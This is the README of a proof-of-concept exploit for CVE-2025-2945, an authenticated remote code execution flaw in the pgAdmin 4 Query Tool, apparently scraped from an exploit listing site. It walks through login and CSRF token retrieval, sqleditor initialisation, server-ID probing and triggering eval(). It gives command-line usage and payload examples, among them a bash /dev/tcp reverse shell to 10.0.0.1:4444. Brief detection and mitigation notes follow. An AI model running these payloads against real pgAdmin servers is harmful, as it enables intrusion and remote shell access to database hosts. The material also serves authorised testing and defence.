## https://sploitus.com/exploit?id=842BE6FA-683D-5A13-9ACE-9F99845F040B
# CVE-2025-2945 โ pgAdmin 4 Query Tool Authenticated RCE
Proof of concept for CVE-2025-2945, a critical remote code execution vulnerability in pgAdmin 4.
**Affected versions:** 8.10 through 9.1
**Fixed in:** 9.2 (released April 4, 2025)
**CVSS v3.1:** 9.9 (Critical)
---
## Overview
The pgAdmin 4 Query Tool exposes an endpoint that accepts a `query_commited` parameter and passes it directly to Python's built-in `eval()` without any sanitization. An authenticated attacker can submit arbitrary Python code through this parameter and have it executed server-side under the pgAdmin service account.
The vulnerable endpoint is:
```
POST /sqleditor/query_tool/download/
```
The `query_commited` field in the JSON body is evaluated as Python code on the server.
---
## Technical Analysis
### Root Cause
In pgAdmin 4 versions prior to 9.2, the query tool download handler calls `eval()` on user-supplied input:
```python
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))
```
No input validation, sandboxing, or allowlisting is applied. Any valid Python expression executes with the privileges of the pgAdmin process.
### Exploit Flow
1. **Authenticate** โ POST credentials to `/authenticate/login`, obtain a session cookie and CSRF token
2. **Initialize sqleditor** โ POST to `/sqleditor/initialize/sqleditor////` with database credentials to establish a query tool session
3. **Discover server ID** โ GET `/sqleditor/get_server_connection//` iterating over IDs until one returns `data.status == true`
4. **Trigger eval** โ POST to `/sqleditor/query_tool/download/` with `{"query_commited": ""}`, receive a 500 response confirming execution
### CSRF Token Handling (pgAdmin 9.x)
Older pgAdmin versions embedded the CSRF token in a hidden `` field or a cookie. Version 9.x moved to a React SPA architecture where the token is embedded as JSON inside a `window.renderSecurityPage()` call on the `/login` page:
```
"csrfToken": ""
```
The token is session-scoped (Flask-WTF / itsdangerous), so the token obtained from the initial `GET /login` remains valid for the entire session and can be reused for all subsequent API calls.
### Login Endpoint Change
pgAdmin 9.x split the login route:
- `GET /login` โ renders the login page (contains the CSRF token)
- `POST /authenticate/login` โ processes credentials
Older PoCs that POST directly to `/login` will receive a 404 or 405 on 9.x instances.
---
## Requirements
- Python 3.7+
- Valid pgAdmin credentials (any authenticated user)
- Valid database credentials for a server registered in pgAdmin
```
pip install requests faker
```
---
## Usage
```
python3 poc.py \
--rhost \
--username \
--password \
--db-user \
--db-pass \
--db-name \
--payload ""
```
### Arguments
| Argument | Description |
|---|---|
| `--rhost` | Target hostname or IP (no scheme) |
| `--rport` | Target port (default: 80) |
| `--username` | pgAdmin login email |
| `--password` | pgAdmin login password |
| `--db-user` | PostgreSQL username |
| `--db-pass` | PostgreSQL password |
| `--db-name` | Database name |
| `--payload` | Python expression to evaluate on the server |
| `--max-server-id` | Max server IDs to probe (default: 10) |
### Payload Examples
Command execution:
```
--payload "__import__('os').system('id')"
```
Reverse shell:
```
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"
```
---
## Detection
- Unexpected HTTP 500 responses from `/sqleditor/query_tool/download/`
- pgAdmin process spawning child processes (shells, curl, wget)
- Outbound connections from the pgAdmin host to unknown IPs
## Mitigation
Upgrade to pgAdmin 4 version 9.2 or later.
---
## References
- https://nvd.nist.gov/vuln/detail/CVE-2025-2945
- https://www.tenable.com/security/research/tra-2025-2945
- https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce
---
## Disclaimer
This repository is for educational and authorized testing purposes only. Do not use against systems you do not own or have explicit permission to test.